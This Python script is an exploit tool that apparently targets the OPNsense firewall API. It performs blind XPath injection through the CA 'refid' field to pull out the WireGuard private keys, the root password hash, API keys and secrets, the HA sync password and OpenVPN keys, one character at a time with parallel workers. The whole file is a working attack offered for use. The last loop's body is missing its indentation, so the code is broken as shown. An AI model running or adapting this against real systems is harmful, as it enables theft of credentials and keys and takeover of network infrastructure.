import argparse
import string
import sys
import random
import threading
from concurrent.futures import ThreadPoolExecutor
from queue import Queue
import requests
import urllib3

urllib3.disable_warnings()
# yeah idk dude iiwiw lol

targs = {
    "wgppk": "//OPNsense/wireguard/server/servers/server/privkey",
    "wgpsk": "//OPNsense/wireguard/client/clients/client/psk",
    "hasyncpw": "//hasync/password",
    "roothash": "//system/user/password",
    "rootkey": "//system/user/apikeys/item/key",
    "rootsecret": "//system/user/apikeys/item/secret",
    "openvpnkey": "//OPNsense/OpenVPN/Instances/Instance/key"
}

cset = sorted(set(string.ascii_letters + string.digits + "+/=$._-:; "))
# print("".join(cset))


makecanary = lambda: f"__TUNG_{random.randint(100000, 999999)}__"    

total = 0
lock = threading.Lock()

# mega ass
def sesh(a):
    s = requests.Session()
    s.auth = a
    s.verify = False
    return s


def prober(s, base, n):
    canary = makecanary()
    r = s.post(f"{base}/api/trust/ca/add", data={
        "ca[refid]": canary, "ca[descr]": f"p{n}",
        "ca[action]": "internal", "ca[commonname]": f"p{n}",
    }, timeout=30)
    return r.json().get("uuid", "n/a"), canary


def inj(s, base, ca_uuid, nx, condition):
    global total
    payload = f"{nx}' or ({condition}) or 'x'='"
    s.post(
        f"{base}/api/trust/ca/set/{ca_uuid}",
        data={"ca[refid]": payload},
        timeout=30,
    )
    r = s.get(f"{base}/api/trust/ca/get/{ca_uuid}", timeout=30)
    with lock:
        total += 1
    ca = r.json().get("ca", {})
    # refcount = int(ca["refcount"])
    refcount = int(ca.get("refcount", "0"))
    return refcount > 0


def getlen(s, base, ca, nx, xpath):
    lo, hi = 0, 300
    while lo < hi:
        mid = (lo + hi + 1) // 2
        if inj(s, base, ca, nx, f"string-length({xpath})>={mid}"):
            lo = mid
        else:
            hi = mid - 1
    return lo


def binsrch(s, base, ca, nx, xpath, pos):
    cands = cset[:]
    while len(cands) > 1:
        midpoint = len(cands) // 2
        half = "".join(cands[:midpoint])
        cond = f"contains('{half}', substring({xpath},{pos},1))"
        if inj(s, base, ca, nx, cond):
            cands = cands[:midpoint]
        else:
            cands = cands[midpoint:]

    c = cands[0]
    if c == "'":
        lit = f'"{c}"'
    else:
        lit = f"'{c}'"

    cond = f"substring({xpath},{pos},1)={lit}"
    if inj(s, base, ca, nx, cond):
        return c
    return None


def extract(workers, base, xpath):
    s0, ca0, nx0 = workers[0]
    length = getlen(s0, base, ca0, nx0, xpath)
    if length == 0:
        return ""
    print(f"+ maybe {length} len")

    result = ["?"] * length

    wq = Queue()
    for w in workers:
        wq.put(w)
    # start grabbing
    def do(pos):
        s, ca, nx = wq.get()
        try:
            return pos, binsrch(s, base, ca, nx, xpath, pos + 1)
        finally:
            wq.put((s, ca, nx))

    with ThreadPoolExecutor(max_workers=len(workers)) as pool:
       # for pos, ch in pool.map(doer_func(p), range(length)):
        for pos, ch in pool.map(lambda p: do(p), range(length)):
            if ch:
                result[pos] = ch
            sys.stdout.write(ch or "#")
            sys.stdout.flush()

    print()
    return "".join(result)


def main():
    global total
    print("xray")
    target_names = list(targs.keys())
    target_list = "\n".join(f"{k}:{v}" for k, v in targs.items())
    # i gave it a bullshit name
    parser = argparse.ArgumentParser(
        description="x-ray",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="extractables:\n" + target_list,
    )
    parser.add_argument("targ", help="base url")
    parser.add_argument("api_key", help="you need this")
    parser.add_argument("api_secret", help="this too")
    parser.add_argument("target", nargs="?", default="all", choices=target_names + ["all"], help="target to extract")
    parser.add_argument("-w", "--workers", type=int, default=8, help="how many workers in parallel")
    args = parser.parse_args()

    base = args.targ.rstrip("/")
    auth = (args.api_key, args.api_secret)


    s = sesh(auth)
    r = s.get(f"{base}/api/trust/ca/search", timeout=10)
    if r.status_code != 200:
        print("- bro")
        sys.exit(1)
    print("+ oh sweet we can access the ca api")


    workers = []

    for i in range(args.workers):
        ws = sesh(auth)
        uuid, nx = prober(ws, base, i)
        if not uuid:
            print("creating probe failed (prober)")
            sys.exit(1)
        workers.append((ws, uuid, nx))
    print(f"+ {args.workers} probing\n")

    # extract
    if args.target == "all":
        targets = targs
    else:
        targets = {args.target: targs[args.target]}
    for name, xpath in targets.items():
        print(f"+ {name}")
        s0, ca0, nx0 = workers[0]
        if not inj(s0, base, ca0, nx0, f"boolean({xpath})"):
            print("n/a")
            continue
        val = extract(workers, base, xpath)
        print(f"{repr(val)}  ({total} reqs)\n")
    # finally: # nvm
    # cleanup but not really beacuse im lazy
    for ws, ca, nx in workers:
    ws.post(f"{base}/api/trust/ca/set/{ca}", data={"ca[refid]": nx}, timeout=30)
    print(f"+ done {total}")


if __name__ == "__main__":
    main()